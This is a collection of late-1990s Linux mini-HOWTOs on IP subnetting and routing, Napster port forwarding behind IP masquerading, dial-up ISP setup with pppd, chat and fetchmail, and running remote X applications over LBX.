This allows small, manageable networks to be established - quite possibly using different networking technologies. Remember, you cannot mix Ethernet, Token Ring, FDDI, ATM etc on the same physical network - they can be interconnected, however!

Other reasons for sub-networking are:-

  • Physical site layout can create restrictions (cable run lengths) in terms of the how the physical infrastructure can be connected, requiring multiple networks. Sub-networking allows this to be done in an IP environment using a single IP network number.

    This is in fact now very commonly done by ISPs who wish to give their permanently connected clients with local networks static IP numbers.
  • Network traffic is sufficiently high to be causing significant slow downs. By splitting the network up using subnetworks, traffic that is local to a network segment can be kept local - reducing overall traffic and speeding up network connectivity without requiring more actual network bandwidth;
  • Security requirements may well dictate that different classes of users do not share the same network - as traffic on a network can always be intercepted by a knowledgeable user. Sub-networking provides a way to keep the marketing department from snooping on the R & D network traffic (or students from snooping on the administration network)!
  • You have equipment which uses incompatible networking technologies and need to interconnect them (as mentioned above).


IP Sub-Networking Mini-Howto: How to subnetwork a IP network number

 Next Previous Contents

6. How to subnetwork a IP network number

Having decided that you need to subnetwork your IP network number, how do you go about it? The following is an overview of the steps which will then be explained in detail:-

  • Set up the physical connectivity (network wiring and network interconnections - such as routers;
  • Decide how big/small each subnetwork needs to be in terms of the number of devices that will connect to it - ie how many usable IP numbers are required for each individual segment.
  • Calculate the appropriate network mask and network addresses;
  • Give each interface on each network its own IP address and the appropriate network mask;
  • Set up the routes on the routers and the appropriate gateways, routes and/or default routes on the networked devices;
  • Test the system, fix problems and then relax!

For the purpose of this example, we will assume we are sub-networking a single C class network number: 192.168.1.0

This provides for a maximum of 254 connected interfaces (hosts), plus the obligatory network number (192.168.1.0) and broadcast address (192.168.1.255).

6.1 Setting up the physical connectivity

You will need to install the correct cabling infrastructure for all the devices you wish to interconnect designed to meet your physical layout.

You will also need a mechanism to interconnect the various segments together (routers, media converters etc.).

A detailed discussion of this is obviously impossible here. Should you need help, there are network design/installation consultants around who provide this sort of service. Free advice is also available on a number of Usenet news groups (such as comp.os.linux.networking).

6.2 Subnetwork sizing

There is a play off between the number of subnetworks you create and 'wasted' IP numbers.

Every individual IP network has two addresses unusable as interface (host) addresses - the network IP number itself and the broadcast address. When you subnetwork, each subnetwork requires its own, unique IP network number and broadcast address - and these have to be valid addresses from within the range provided by the IP network that you are sub-networking.

So, by sub-networking an IP network into two separate subnetworks, there are now two network addresses and two broadcast addresses - increasing the 'unusable' interface (host) addresses; creating 4 subnetworks creates eight unusable interface (host) addresses and so on.

In fact the smallest usable subnetwork consists of 4 IP numbers:-

  • Two usable IP interface numbers - one for the router interface on that network and one for the single host on that network.
  • One network number.
  • One broadcast address.

Quite why one would want to create such a small network is another question! With only a single host on the network, any network communication must go out to another network. However, the example does serve to show the law of diminishing returns that applies to sub-networking.

In principle, you can only divide your IP network number into 2^n (where n is one less that the number of host bits in your IP network number) equally sized subnetworks (you can subnetwork a subnetwork and combine subnetworks however).

So be realistic about designing your network design - you want the minimum number of separate local networks that is consistent with management, physical, equipment and security constraints!

6.3 Calculating the subnetwork mask and network numbers

The network mask is what performs all the local magic of dividing an IP network into subnetworks.

The network mask for an un-sub-networked IP network number is simply a dotted quad which has all the 'network bits' of the network number set to '1' and all the host bits set to '0'.

So, for the three classes of IP networks, the standard network masks are:-

  • Class A (8 network bits) : 255.0.0.0
  • Class B (16 network bits): 255.255.0.0
  • Class C (24 network bits): 255.255.255.0

The way sub-networking operates is to borrow one or more of the available host bits and make then make interfaces locally interpret these borrowed bits as part of the network bits. So to divide a network number into two subnetworks, we would borrow one host bit by setting the appropriate bit in the network mask of the first (normal) host bit to '1'.

For a C Class address, this would result in a netmask of
11111111.11111111.11111111.10000000
or 255.255.255.128

For our C Class network number of 192.168.1.0, these are some of the sub-networking options you have:-

No of      No of
subnets    Hosts/net    netmask
2            126        255.255.255.128 (11111111.11111111.11111111.10000000)
4             62        255.255.255.192 (11111111.11111111.11111111.11000000)
8             30        255.255.255.224 (11111111.11111111.11111111.11100000)
16            14        255.255.255.240 (11111111.11111111.11111111.11110000)
32             6        255.255.255.248 (11111111.11111111.11111111.11111000)
64             2        255.255.255.252 (11111111.11111111.11111111.11111100)

In principle, there is absolutely no reason to follow the above way of subnetworking where network mask bits are added from the most significant host bit to the least significant host bit. However, if you do not do it this way, the resulting IP numbers will be in a very odd sequence! This makes it extremely difficult for us humans to decide to which subnetwork an IP number belongs as we are not too good at thinking in binary (computers on the other hand are and will use whatever scheme you tell them with equal equanimity).

Having decided on the appropriate netmask, you then need to work out what the various Network and broadcast addresses are - and the IP number range for each of these networks. Again, considering only a C Class IP Network number and listing only the final (host part) we have:-

Netmask         Subnets Network B'cast  MinIP   MaxIP   Hosts  Total Hosts
--------------------------------------------------------------------------
    128            2       0     127       1     126    126
                         128     255     129     254    126     252

    192            4       0      63       1      62     62
                          64     127      65     126     62
                         128     191     129     190     62
                         192     255     193     254     62     248

    224            8       0      31       1      30     30
                          32      63      33      62     30
                          64      95      65      94     30
                          96     127      97     126     30
                         128     159     129     158     30
                         160     191     161     190     30
                         192     223     193     222     30
                         224     255     225     254     30     240

As can be seen, there is a very definite sequence to these numbers, which make them fairly easy to check. The 'downside' of sub-networking is also visible in terms of the reducing total number of available host addresses as the number of subnetworks increases.

With this information, you are now in a position to assign host and network IP numbers and netmasks.


IP Sub-Networking Mini-Howto: Routing

 Next Previous Contents

7. Routing

If you are using a Linux PC with two network interfaces to route between two (or more) subnets, you need to have IP Forwarding enabled in your kernel. Do a

        cat /proc/ksyms | grep ip_forward

You should get back something like...

00141364 ip_forward_Rf71ac834

If you do not, then you do not have IP-Forwarding enabled in your kernel and you need to recompile and install a new kernel.

For the sake of this example, let us assume that you have decided to subnetwork you C class IP network number 192.168.1.0 into 4 subnets (each of 62 usable interface/host IP numbers). However, two of these subnets are being combined into a larger single network, giving three physical networks.

These are :-

Network         Broadcast       Netmask                 Hosts
192.168.1.0     192.168.1.63    255.255.255.192         62
192.168.1.64    192.168.1.127   255.255.255.192         62
192.168.1.128   192.168.1.255   255.255.255.128         124 (see note)

Note: the reason the last network has only 124 usable network addresses (not 126 as would be expected from the network mask) is that it is really a 'super net' of two subnetworks. Hosts on the other two networks will interpret 192.168.1.192 as the network address of the 'non-existent' subnetwork. Similarly, they will interpret 192.168.1.191 as the broadcast address of the 'non-existent' subnetwork.

So, if you use 192.168.1.191 or 192 as host addresses on the third network, then machines on the two smaller networks will not be able to communicate with them.

This illustrates an important point with subnetworks - the usable addresses are determined by the SMALLEST subnetwork in that address space.

7.1 The routing tables

Let us assume that a computer running Linux is acting as a router for this network. It will have three network interfaces to the local LANs and possibly a fourth interface to the Internet (which would be its default route.

Let us assume that the Linux computer uses the lowest available IP address in each subnetwork on its interface to that network. It would configure its network interfaces as

Interface       IP Address      Netmask
eth0            192.168.1.1     255.255.255.192
eth1            192.168.1.65    255.255.255.192
eth2            192.168.1.129   255.255.255.128

The routing it would establish would be

Destination     Gateway         Genmask         Iface
192.168.1.0     0.0.0.0         255.255.255.192 eth0
192.168.1.64    0.0.0.0         255.255.255.192 eth1
192.168.1.128   0.0.0.0         255.255.255.128 eth2

On each of the subnetworks, the hosts would be configured with their own IP number and net mask (appropriate for the particular network). Each host would declare the Linux PC as its gateway/router, specifying the Linux PCs IP address for its interface on to that particular network.

Robert Hart Melbourne, Australia March 1997.


IPMasquerading+Napster mini-HOWTO

John E. Danner

v1.6, 11 April 2000

This mini-HOWTO present a way to allow users behind an IPMasq'd system to use Napster.

For information about Napster, please see their website at Napster Homepage

1. DISCLAIMER

2. INTRODUCTION

3. BEFORE YOU BEGIN

4. PROCEDURE

5. DYNAMIC IP AREA (Dial-up or DHCP)

6. FINISHED PRODUCT

7. HOWTO MAINTENANCE

8. Copyright and License


IPMasquerading+Napster mini-HOWTO: DISCLAIMER

 Next Previous Contents

1. DISCLAIMER

In order to allow Napster to work correctly, you will need to put a hole in the IP Masq'd system. This inherently presents potential security problems. Unfortunately I cannot accept responsibility for this hack. So if you do this, and you get burned because of it...not my fault. Great...now lets get into it...


IPMasquerading+Napster mini-HOWTO: INTRODUCTION

 Next Previous Contents

2. INTRODUCTION

After setting up a network for my roommates and I, the problem arose that were not able to use Napster because of the IPMasquerading I was doing. So I put some time into and came up with this solution to the problem. I hope it works for you like it did for me...but I can't promise anything.


IPMasquerading+Napster mini-HOWTO: BEFORE YOU BEGIN

 Next Previous Contents

3. BEFORE YOU BEGIN

I have tested this solution with the following variables:

  1. Napster v2.0 Beta 5a (for Windows), visit Napster Homepage to ensure you have the newest version.
  2. One external IP to the internet.
  3. Currently 6 systems behind the IPMasq'd machine, 4 using Napster.
  4. Using Linux kernel version 2.2.12-20 (RedHat v6.1 Distribution)
  5. IPMASQADM utility version 0.42, get it Here


IPMasquerading+Napster mini-HOWTO: PROCEDURE

 Next Previous Contents

4. PROCEDURE

First off, ensure that you have the version (or newer) as listed above in the previous section. Also be sure they are installed correctly.

  1. Install Napster on the Windows client PC's
  2. After installation and Napster user setup, this version of Napster will begin "Finding Acceptable Local Data Port", after a short time an error will occur. Note: If you have already installed napster v2.0 beta 5a, under the file menu select 'Properties.'
  3. At this point select the second option "I am not behind a firewall or I configured my firewall - Use TCP port:"
  4. Enter a unique number. Each computer that will be running Napster will need to use a different port. It may be easier to use the last number of the IP address. For example: if the computer's IP is 192.168.1.2, then 6702 would be easiest to remember. Note: make sure you don't pick ports for services that are running (i.e. 21, 110, etc...see /etc/services for a listing)
  5. Repeats steps 1 - 4 for all systems that will be using Napster.
  6. Now login to your IPMasq'd system and modify a startup file of your choice (I choose to use /etc/rc.d/rc.local)
    The following lines pass the connection to the Napster clients running on the hosts behind your IPMasq'd system.
(add them to the startup file - you'll need to one command for each host using Napster)

/usr/sbin/ipmasqadm portfw -a -P tcp -L xxx.xxx.xxx.xxx 6702 -R 192.168.1.2 6702
/usr/sbin/ipmasqadm portfw -a -P tcp -L xxx.xxx.xxx.xxx 6703 -R 192.168.1.3 6703
/usr/sbin/ipmasqadm portfw -a -P tcp -L xxx.xxx.xxx.xxx 6704 -R 192.168.1.4 6704
/usr/sbin/ipmasqadm portfw -a -P tcp -L xxx.xxx.xxx.xxx 6705 -R 192.168.1.5 6705

Note: XXX.XXX.XXX.XXX is the IP address of the Linux IPMasqing system (the Internet IP).
    Note: If you are having problems with IPMASQADM or IPMasquerading in general see the IPMASQ-HOWTO. This document is provided to help people who have their systems configured. The IPMASQ-HOWTO will get into a deeper discussion of port forwarding and IPMasq'd in general.


IPMasquerading+Napster mini-HOWTO: DYNAMIC IP AREA (Dial-up or DHCP)

 Next Previous Contents

5. DYNAMIC IP AREA (Dial-up or DHCP)

See this and the Procedure section if your IP address changes everytime you connect to the internet.

Thanks to Peter Illmayer for the following submission to me: (This will work out best for those of you with dynamic IP's...)

------------------------------------------------------------
IN debian, I created a forward file in /etc/ppp/ip-up.d and put in

#!/bin/sh
ppp_ip="`/sbin/ifconfig ppp0 | grep 'inet addr' | awk '{print $2}' | sed -e
's/.*://'`"
/usr/sbin/ipmasqadm portfw -f
/usr/sbin/ipmasqadm portfw -a -P tcp -L ${ppp_ip} 6702 -R 192.168.0.2 6702

This is in a 2.2.x kernel with ipmasqadm installed with the appropriate
kernel modules compiled in.
---------------------------------------------------------------
Charles J. Fisher pointed out that a similar script can be used if you are using DHCP, insert the following lines in a script that runs after you get your IP address.
net_ip="`ifconfig eth0 | awk '/inet/ {sub(/addr:/,"",$2); print $2}'`"
/usr/sbin/ipmasqadm portfw -f
/usr/sbin/ipmasqadm portfw -a -P tcp -L ${net_ip} 6702 -R 192.168.1.2 6702
Of course the more machines using Napster behind your IPMasq'd machine the more port forwards you need to do.


IPMasquerading+Napster mini-HOWTO: FINISHED PRODUCT

 Next Previous Contents

6. FINISHED PRODUCT

This system will allow Napster to operate properly behind an IPMasq'd system. Hopefully it works for you as well as it does for me! Please direct comments/suggestions/flames to jed204@psu.edu


IPMasquerading+Napster mini-HOWTO: HOWTO MAINTENANCE

 Next Previous Contents

7. HOWTO MAINTENANCE

This is the initial version of this document. Very rough. If the interest is out there and things changes, so will this document. If anyone else has a solution they think is better...please, all means, let me know and we can discuss what the best solution possible is.


IPMasquerading+Napster mini-HOWTO: Copyright and License

 Next Previous Contents

8. Copyright and License

Copyright (c) 2000 by John E. Danner

Please freely copy and distribute (sell or give away) this document in any format. It's requested that corrections and/or comments be fowarded to the document maintainer. You may create a derivative work and distribute it provided that you:

1.Send your derivative work (in the most suitable format such as sgml) to the LDP (Linux Documentation Project) or the like for posting on the Internet. If not the LDP, then let the LDP know where it is available.

2.License the derivative work with this same license or use GPL. Include a copyright notice and at least a pointer to the license used.

3.Give due credit to previous authors and major contributors.

If you're considering making a derived work other than a translation, it's requested that you discuss your plans with the current maintainer.


ISP-Connectivity-mini-HOWTO

Michael Strates, mstrates@croftj.net

v2.0.1, 2001-11-28

This document describes how to setup PPP, connect up to your ISP, configure mail and news, get a permanent IP (if available), get a domain name, and have a bonda fide system running in a little over thirty minutes.

1. Introduction

  • 1.1 New versions of this document
  • 1.2 Feedback
  • 1.3 Standard Disclaimer
  • 1.4 Copyright Information

2. Connecting to the Outside World

  • 2.1 Talking and Communicating with pppd and chat
  • 2.2 IP's, Domain Names and Subnets

3. Electronic Mail on your Linux Box


ISP-Connectivity-mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

The main goal of this document obviously is to make the new user friendly with the many terms of connecting your Linux PC up to the Internet, obtaining IP addresses, domain names, and setting things up. This guide is intended for the intermediate user in mind, although intelligent newbies shouldn't have any problems.

1.1 New versions of this document

New versions of this document will be periodically posted to comp.os.linux.answers. They will also be added to the various anonymous FTP sites who archive such information, including:

ftp://sunsite.unc.edu/pub/Linux/docs/HOWTO

In addition, you should generally be able to find this document on the Linux Documentation Project page via:

http://sunsite.unc.edu/LDP/

1.2 Feedback

I certaintly welcome any feedback about this HOWTO, spelling mistakes, how it all worked out, thankyou notes and critisisms. I hope I helped a few people with this HOWTO, and if I did, I'd be really happy to hear from you.

mstrates@croftj.net

http://linloft.home.ml.org/

1.3 Standard Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, I don't take any responsibility for that.

Naturally, there are probably better and easier ways to do things in this document. There will always be another way in the Linux World. This is the way I've done things, and that's the way I'll be presenting them in this HOWTO.

1.4 Copyright Information

This document is copyrighted (c)1997 Michael Strates and distributed under the terms of the GNU Free Documentation License, which can be obtained from http://www.fsf.org/licenses/fdl.html.


ISP-Connectivity-mini-HOWTO: Connecting to the Outside World

 Next Previous Contents

2. Connecting to the Outside World

In this document, we'll explain how to do this using PPP (Point to Point Protocol), a popular protocol nearly always used over the Internet. It allows your modem to speak to the outside world. This is what applications like Trumpet Winsock in Windows 3.x did, and many other programs that you've probably have never seen.

In Linux, we use a thing called chat to do the dialing up to the ISP and then use a utility called pppd to 'use' the connection. In a sense, chat is your dialer, and pppd is your protocol. We'll describe how to setup both below.

2.1 Talking and Communicating with pppd and chat

Probably the easiest way to go about things is to make a shell script in root's home directory called ppp-connect and involke the script whenever you wish to make your connection. We'll discuss this method.

Open up your favourite editor as root on /ppp-connect. You'll then have to decide on your parameters.

pppd connect 'chat -v "" "your_init_string" "" ATDTisp_number CONNECT "" ogin: your_username word: your_passwd' /dev/tty(0/1/2) speed modem

pppd involkes /usr/sbin/pppd on my system, then loads up chat to do the dialing. Chat sends your_init_string to the modem, then dials isp_number. It then waits for CONNECT, then waits for ogin: (l removed as the first character is sometimes lost), sends your_passwd, chat then terminates and hands the show over to pppd.

The last of the command specifies your modem port (mine's /dev/ttyS1). In most cases it will be ttyS1 (COM2: in DOS), ttyS0 (COM1: in DOS), or if your using Slackware, cua1 or cua0. The speed is the speed of the modem. I use 115200 for my modem (a 33.6k). If you have got a fairly recent computer (one with a 16550 UART), then I wouldn't go any lower than 57600. Otherwise, for 14.4k 38400. Modem just tells pppd that it's a serial/modem based connection. Remove the -v option if you don't want verbose logging to your logfiles.

The scenario below is one of a person who dials up an ISP that automatically starts PPP for them, ie; they don't have a shell that actually starts. This is his command in his /ppp-connect:

pppd connect 'chat "" "ATZ" "" ATDT555-1800 CONNECT "" ogin: johnny word: blackjak' /dev/ttyS1 115200 modem

But for some people, they're ISP starts up a shell and doesn't automatically start PPP this may be a problem. Luckily, chat can deal with that too. You just add another command to your chat script. For example, below this johnny character is using an ISP that just dumps him to a shell, requiring him to type ppp to get a ppp connection. His shell prompt ends with a $. pppd connect 'chat "" "ATZ" "" ATDT555-1800 CONNECT "" ogin: johnny word: blackjak $ ppp' /dev/ttyS1 115200 modem

If it's more than one word, ensure you quote it. I hope you can see the drift of this, and are able to create your own script up to suit your connection. Simply modify either the first johnny or the second johnny script to suit your taste, port, server, etc and save the file.

Now you've made your file, ensure that only root can execute, read or write to it. This is extreemly important. Also make sure nobody can read your logfiles, if you decide to leave the -v option in, as your password is seen in cleartext in the logs (I don't see much need for -v, if you don't know what I'm talking about, leave -v out).

2.2 IP's, Domain Names and Subnets

For most people using the options above, a changing IP address won't bother them. These people include basic, easy going users, that just have dialup accounts, and aren't very technically minded. For those people, skim read this section, I'll come to important things you need to do to setup your system properly. Newbies, skip the sections dealing with permanent IP, Domain Names, Subnets, and just read the last bit of this section.

Getting a permanent IP address might be free for your ISP, so if in doubt ask them. Personally, I'd pay for a permanent IP address. It lets you send e-mail to and from using a unique IP or domain, etc. If you want to get yourself a permanent IP, write an e-mail to root@yourisp.com, and ask him nicely if he can arrange a permanent IP for you.

When you get your permanent IP address, grep through your /etc directory to find where your old IP addresses are. I had to change files in my sendmail directory and /etc/hosts. There are some other key files that you will only discover with grepping. Open up /etc/hosts, and add your new IP address in the standard format. Reboot your computer, and you should be ready to go.

You'll now need to change your chat script to reflect your new settings. If you are forced into PPP as soon as you start your connection, you'll need to tell your System Administrator of your ISP to ensure their PPP system recognises that you have a permanent IP address and allocates you that instead of a changing one. If you get dumped at a shell prompt, and you need to type ppp or something to start the connection, instead of typing that, change your /ppp-connect script to send this instead of just ppp or whatever when it sees $ or whatever your shell prompt is.

/usr/sbin/pppd :Your_IP_Address

Substitute your IP address for the IP address your ISP gave to you. Be sure you encapsulate the thing in " " marks when you put it into your chat script. If this doesn't work, consult your ISP where your PPP daemon is located, and ask him for the command to give. You could just try leaving it as is and seeing if the server will recognise you and give you your rightful address.

The next thing probably to do is to get yourself a domain name. I know that in Australia, .asn.au and .org.au are free. In the United States, you can get a .us domain for free, but they tend to be long. If your in Australia, you must go to http://www.aunic.net/ to register your domains. In the United States, it is http://www.internic.net/ .

To register domains you need to be able to provide DNS services, and gorey stuff like that. If your ISP can't provide these, throw out an official .asn.au or whatever domain out the window, and get a Monolith Internet Domain.

Monolith offer free domains to anybody and anyone all around the world. Everything is done without human interaction, via a web forms interface with your browser. Your domain comes in the form of Your_Choice.ml.org. Monolith will then host the DNS locally for you. If you want to send and receive mail from that domain, ask your ISP to become a mail exchanger for you.

Go to http://www.ml.org/ and fill out an application, enter the NIC with your username and password, and make a FREED domain. You'll need to enter your IP address, so have that ready. Your domain will be in the DNS in a couple of days.

Okay now, we'll move onto the newbies section, or for those people who can't get a permanent IP address or a domain name. All you have to do is edit /etc/hosts as root, call your site something that won't clash, give it a 10.10.10 or something for an IP address and reboot your computer.

There you go, you've just setup your computer with pppd and chat in just ten minutes. Now let's move onto the next section, which deals with Electronic Mail.


ISP-Connectivity-mini-HOWTO: Electronic Mail on your Linux Box

 Next Previous Contents

3. Electronic Mail on your Linux Box

One of the most important aspects of the Internet, is it's fasinating capaiblity to transfer mail to and from countries, or more locally perhaps. Linux is extreemly strong in easy mail packages for the console. The one we're going to document today is called Pine (Program for Internet Mail and News), made by the University of Washington, and to download the mail, a program called Fetchmail, made by Eric S. Raymond. Both should be included in your Linux distribution.

Fetchmail is a program that downloads your e-mail from your server using POP, transfers the mail onto your computer and then deletes it off the server, much like programs like Eudora or Microsoft Internet Mail/Exchange do. To configure and automate fetchmail, you use a file in your home directory called .fetchmailrc. Simply open up /.fetchmailrc (Remember: your doing this bit as yourself, not as root) with your favourite editor and observe the command lin eoptions below:

poll mail.yourisp.com proto pop3 user login_name password your_passwd

user login_name with pass your_passwd is login_name here

All you have to do is replace mail.yourisp.com with the name of the mail server of your ISP, your_passwd with your password, and login_name with your login name.

An important thing to note. For Pine and this procedure to work correctly, your login name must corrospond with the login name you use on your ISP. That is your local login name must match the one you use on your server, and your e-mail address.

Next, ensure that .fetchmailrc has the correct permissions (user read/write only) and your laughing. Fetchmail can be started in two ways, in standard mode (where it'll fetch messages from the server and terminate), or in daemon mode (where it will stay active, and check/download mail every X seconds). To use daemon mode, type fetchmail -a -d(Seconds between Polls). -a ensures it downloads all mail. To use the standard mode, just type fetchmail -a.

Next, you need to setup Pine. Open up Pine, by typing pine at your prompt, choose Setup - Configuration. Setup your userdomain as the domain in your e-mail address, for example jack@linux.org, would be linux.org. Next, setup smtp-server as your POP mail server (the same you used in the fetchmail setup). So we enter www.linux.org. If you want news, setup your nntp server to your ISP's news server.

So there you have it folks, everything should be working now. To connect up to your ISP, just run /ppp-connect as root. Then, to get your e-mail run fetchmail -a as yourself. To browse your e-mail and news, use Pine. Install a text-based browser such as Lynx to browse the web if you like.

Send any comments questions and suggestions to mstrates@croftj.net


The LBX Mini-HOWTO

Paul D. Smith, psmith@baynetworks.com

v1.04, 11 December 1997

LBX (Low Bandwidth X) is an X server extension which performs compression on the X protocol. It is meant to be used in conjunction with X applications and an X server which are separated by a slow network connection, to improve display and response time.

1. Introduction

2. What's The Status Of LBX?

3. Who Can Benefit From LBX?

4. Who Doesn't Need LBX?

5. How Does LBX Work?

6. What Do I Need To Use LBX?

7. What Don't I Need To Use LBX?

8. How Do I Start LBX?

9. Problems

10. Documentation

11. Alternatives

  • 11.1 dxpc - The Differential X Protocol Compressor
  • 11.2 Ssh (Secure Shell)
  • 11.3 Which Is Better?


The LBX Mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

Low-Bandwidth X (LBX) attempts to recognize that in this day and age, not everyone will be a fast LAN hop or two away from the system that they are running their applications on.

The X protocol can generate an extraordinary amount of traffic, especially for simple-seeming things such as creating new windows. As anyone who has tried to use X over a dial-in modem at 28.8 or even higher can attest, creating new X windows can involve an excruciating wait.

LBX is fundamentally a compression and caching scheme designed to minimize the amount of X traffic generated between two systems.


The LBX Mini-HOWTO: What's The Status Of LBX?

 Next Previous Contents

2. What's The Status Of LBX?

As of the X Consortium's release of X11R6.3 in December, 1996, LBX is a full extension to the X protocol. For XFree86 folks, that's XFree86 version 3.3.


The LBX Mini-HOWTO: Who Can Benefit From LBX?

 Next Previous Contents

3. Who Can Benefit From LBX?

If you use a modem to dial into a service provider, then run X applications on remote machines with their DISPLAYs set to your local machine (or vice versa), LBX will speed up that connection. Also if you set DISPLAYs from systems across WANs (other countries, for example) or other slow links, LBX can help.


The LBX Mini-HOWTO: Who Doesn't Need LBX?

 Next Previous Contents

4. Who Doesn't Need LBX?

LBX is useless, of course, if you're only running applications locally, or if you're not running X at all.

Also, if you're running on a fast LAN, LBX won't be much help. Some people say "if LBX cuts down on network traffic, wouldn't it be good to use even on fast LANs?" It might be, if your goal is to reduce network traffic. But if your goal is to get better response time LBX probably isn't what you want. Although it does introduce caching and compression, that comes at a cost on both ends (extra memory for caching, and extra CPU for decompression). If your link is fairly speedy LBX will probably result in an overall slowdown.


The LBX Mini-HOWTO: How Does LBX Work?

 Next Previous Contents

5. How Does LBX Work?

LBX works by introducing a proxy server at the client side, which performs caching and compression. The X server knows that the client is using a proxy server, and decompresses accordingly.

Here's a normal setup for remote X clients. In our discussion, LOCAL is always the workstation sitting in front of you, whose monitor you're looking at, and REMOTE is the remote workstation, where the actual application is running.

     REMOTE                               LOCAL
 +-----+                                             +-----+
 | APP |-\          Network            +----------+  |     |\
 +-----+  \--------------------------->| X SERVER |=>|     ||
 +-----+  /       (X Protocol)         +----------+  +-----+\
 | APP |-/                                          /_____//
 +-----+

When using LBX, a proxy server (lbxproxy) is introduced on the remote side, and the applications talk to that process instead of directly to the LOCAL server. That process then performs the caching and compression of X requests and forwards them. It looks like this:

     REMOTE                                         LOCAL
                                                               +-----+
 +-----+  +-------+           Network            +----------+  |     |\
 | APP |->| PROXY |----------------------------->| X SERVER |=>|     ||
 +-----+  +-------+       (LBX/X Protocol)       +----------+  +-----+\
 +-----+   /                                                  /_____//
 | APP |--/
 +-----+

Details on exactly what caching and compression LBX does is beyond the scope of this document.


The LBX Mini-HOWTO: What Do I Need To Use LBX?

 Next Previous Contents

6. What Do I Need To Use LBX?

You need an X server on your LOCAL system which has the LBX extension compiled in. Unless you explicitly told it not to when building it, X11R6.3 servers automatically enable LBX. Also, all XFree86 3.3 servers have LBX enabled by default.

You can use the xdpyinfo command to see if your server has the LBX extension: run xdpyinfo and look at the list just under "number of extensions"; you should see "LBX" listed there.

Next, you need to get an lbxproxy program compiled for the REMOTE system. This is the tricky part. If the remote system is not the same type as your local system, the lbxproxy on your local system will do you no good, of course.

There is unfortunately no "broken out" distribution of lbxproxy, so you will have to either (a) get and build most, if not all, of X11R6.3 for the remote system, or (b) find someplace to get a pre-compiled lbxproxy binary for your system. The latter is much simpler of course.

The lbxproxy is simply a single executable. There are no configuration files, resource files, etc. associated with it.


The LBX Mini-HOWTO: What Don't I Need To Use LBX?

 Next Previous Contents

7. What Don't I Need To Use LBX?

The REMOTE system does not need a new X server (as always, the REMOTE system doesn't need any X server running).

The application you want to run does not need to be linked with any special version of X, or any special libraries; I regularly use commercial X11R5 apps over LBX with no trouble.

You do not need root or other privileged access on the REMOTE system; the lbxproxy process runs under your normal access permissions. Further, you can run it right from your home directory: it does not have to be installed anywhere.


The LBX Mini-HOWTO: How Do I Start LBX?

 Next Previous Contents

8. How Do I Start LBX?

OK, here it is... after all that it's actually quite simple. Replace LOCAL and REMOTE below with the hostnames of your local workstation and remote system, respectively (don't get them mixed up!)

On LOCAL:

  1. Start your X server.
  2. Tell your X server that the remote system is allowed access. Using the host-list method, type xhost +REMOTE. If you use xauth you may need to do more than this; see the xauth(1) man page for more information. You should consult the Remote X Apps Mini-HOWTO if you're not familiar with remote X access permission setup.

On REMOTE:

  1. Start lbxproxy and tell it to forward to the LOCAL X server, like this:
      $ lbxproxy -display LOCAL:0 :1 &
    This tells lbxproxy to use display :1 on the REMOTE system; if that system has >1 display already you can use :2 or whatever instead.
  2. Set your DISPLAY environment variable to point to the display that lbxproxy is providing, instead of the normal display:
      $ DISPLAY=:1
  $ export DISPLAY
    Or, if you use csh or clones:
      % setenv DISPLAY :1
  3. If you're using xauth you will need to ensure that your cookie is available locally. See the Remote X Apps Mini-HOWTO for more information on this.
  4. Start your X applications!

That's it; all X apps that are started up pointing to :1 will use LBX. Of course, there's no reason you couldn't also start X apps pointing to LOCAL:0 and have both running at the same time.


The LBX Mini-HOWTO: Problems

 Next Previous Contents

9. Problems

Here are some common problems:

Q)

lbxproxy exits with an "access denied" error.

A)

This means the LOCAL system isn't accepting connections from the REMOTE system due to permissions errors. See the Remote X Apps Mini-HOWTO for details on these issues.

As a simple trouble-shooting measure, try running a simple X app like xclock on REMOTE and have it display on the local system without using lbxproxy:

  $ xclock -display LOCAL:0

If that doesn't work, it's xhost or some other basic X problem, not LBX.


The LBX Mini-HOWTO: Documentation

 Next Previous Contents

10. Documentation

The only documentation available in a standard X distribution may be the lbxproxy(1) man page.

If you have access to the X source tree, then very interesting information on LBX is available there:

  • xc/doc/specs/Xext/lbx.mif (Framemaker MIF)
  • xc/doc/hardcopy/Xext/lbx.PS.Z (Compressed Postscript)
  • xc/doc/hardcopy/Xext/lbxTOC.html (HTML)

More detailed discussion of specific LBX algorithms is available here:

  • xc/doc/specs/Xext/lbxalg.mif (Framemaker MIF)
  • xc/doc/specs/Xext/lbxalg.PS.Z (Compressed Postscript)

If you don't have access to the X11 source, you can obtain these files from the X Consortium's FTP site.


The LBX Mini-HOWTO: Alternatives

 Next Previous Contents

11. Alternatives

If you don't like lbxproxy for some reason: you're not satisfied with the performance, it doesn't work for you, you don't want to hassle with creating an lbxproxy for the remote host, or you simply are interested in trying other options, there is at least one other package for X protocol compression (anyone have others?)

11.1 dxpc - The Differential X Protocol Compressor

  • Original Author: Brian Pane <brianp@cnet.com>
  • Current Maintainer: Zachary Vonler <lightborn@mail.utexas.edu>

dxpc works in essentially the same way as LBX. However, to avoid having to implement an X extension and modify the X server code, dxpc uses two proxies: one that runs on the REMOTE host, like lbxproxy, and one that runs on the LOCAL host.

The REMOTE host proxy communicates between the X clients and the LOCAL host proxy, and the LOCAL host proxy communicates between the X server and the REMOTE host proxy.

So, to both the X clients and the X server, it looks like X protocol as usual.

Advantages

  • Since it's a completely separate application that does not require any X internals, it's much simpler to compile and install.
  • It's maintained separately, so you don't have to wait for the OSF to release new X versions for enhancements or fixes.
  • It provides more and better compression information and statistics than lbxproxy.

Disadvantages

  • It is not a standard part of X; you must obtain and build it separately.
  • It is slightly more complex to set up, since it requires a LOCAL-side proxy as well as the REMOTE proxy.

Where Can I Get dxpc?

The source for dxpc is available at ftp.x.org.

There is a WWW homepage for dxpc that gives a lot of good information, including pointers to the dxpc mailing list, access to the source code, and a number of pre-built binaries for various platforms:

http://ccwf.cc.utexas.edu/~zvonler/dxpc/

11.2 Ssh (Secure Shell)

Ken Chase <lbxhowto@sizone.org> notes that ssh can be used for compression. Although its main purpose is to provide security, it also compresses the data it sends.

Thus, if you run X over a ssh link you will automatically obtain some amount of compression.

11.3 Which Is Better?

I don't know. Both LBX and dxpc are certainly better at raw compression than ssh. Of course, ssh provides the added advantage of security. And of course, there's no reason you can't use both ssh and one of the other two, to get good compression and security.

